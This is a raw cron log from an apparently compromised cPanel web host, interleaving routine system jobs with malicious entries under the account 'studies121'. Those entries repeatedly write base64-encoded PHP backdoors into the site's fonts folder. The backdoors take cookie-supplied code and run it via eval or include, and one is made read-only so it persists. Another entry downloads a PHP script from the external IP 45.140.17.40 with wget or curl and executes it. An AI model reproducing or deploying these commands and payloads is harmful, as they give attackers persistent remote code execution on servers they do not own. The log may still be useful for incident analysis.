Sep 12 23:27:01 ip-184-168-122-23 CROND[9826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:27:01 ip-184-168-122-23 CROND[9827]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:27:01 ip-184-168-122-23 CROND[9828]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:28:01 ip-184-168-122-23 CROND[9987]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:28:01 ip-184-168-122-23 CROND[9988]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:28:01 ip-184-168-122-23 CROND[9990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:28:01 ip-184-168-122-23 CROND[9986]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:28:01 ip-184-168-122-23 CROND[9994]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:29:01 ip-184-168-122-23 CROND[10083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:29:01 ip-184-168-122-23 CROND[10084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:29:01 ip-184-168-122-23 CROND[10085]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:29:01 ip-184-168-122-23 CROND[10082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10182]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10183]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:30:02 ip-184-168-122-23 CROND[10185]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10187]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10186]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10188]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10190]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:30:02 ip-184-168-122-23 CROND[10194]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:31:01 ip-184-168-122-23 CROND[10286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:31:01 ip-184-168-122-23 CROND[10290]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:31:01 ip-184-168-122-23 CROND[10291]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:31:01 ip-184-168-122-23 CROND[10289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:31:01 ip-184-168-122-23 CROND[10288]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 23:32:01 ip-184-168-122-23 CROND[10376]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:32:01 ip-184-168-122-23 CROND[10378]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:32:01 ip-184-168-122-23 CROND[10380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:32:01 ip-184-168-122-23 CROND[10382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:32:01 ip-184-168-122-23 CROND[10381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:33:01 ip-184-168-122-23 CROND[10547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:33:01 ip-184-168-122-23 CROND[10548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:33:01 ip-184-168-122-23 CROND[10550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:33:01 ip-184-168-122-23 CROND[10552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:34:01 ip-184-168-122-23 CROND[10627]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:34:01 ip-184-168-122-23 CROND[10631]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:34:01 ip-184-168-122-23 CROND[10630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:34:01 ip-184-168-122-23 CROND[10635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:34:01 ip-184-168-122-23 CROND[10634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10725]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:35:01 ip-184-168-122-23 CROND[10728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10731]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10729]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10732]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10730]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 23:35:01 ip-184-168-122-23 CROND[10733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:36:01 ip-184-168-122-23 CROND[10828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:36:01 ip-184-168-122-23 CROND[10832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:36:01 ip-184-168-122-23 CROND[10830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:36:01 ip-184-168-122-23 CROND[10831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:36:01 ip-184-168-122-23 CROND[10833]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:37:01 ip-184-168-122-23 CROND[10927]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:37:01 ip-184-168-122-23 CROND[10928]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:37:01 ip-184-168-122-23 CROND[10929]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:37:01 ip-184-168-122-23 CROND[10930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:38:02 ip-184-168-122-23 CROND[11096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 23:38:02 ip-184-168-122-23 CROND[11097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 23:38:02 ip-184-168-122-23 CROND[11098]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 23:38:02 ip-184-168-122-23 CROND[11095]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 23:38:02 ip-184-168-122-23 CROND[11100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 23:39:01 ip-184-168-122-23 CROND[11196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
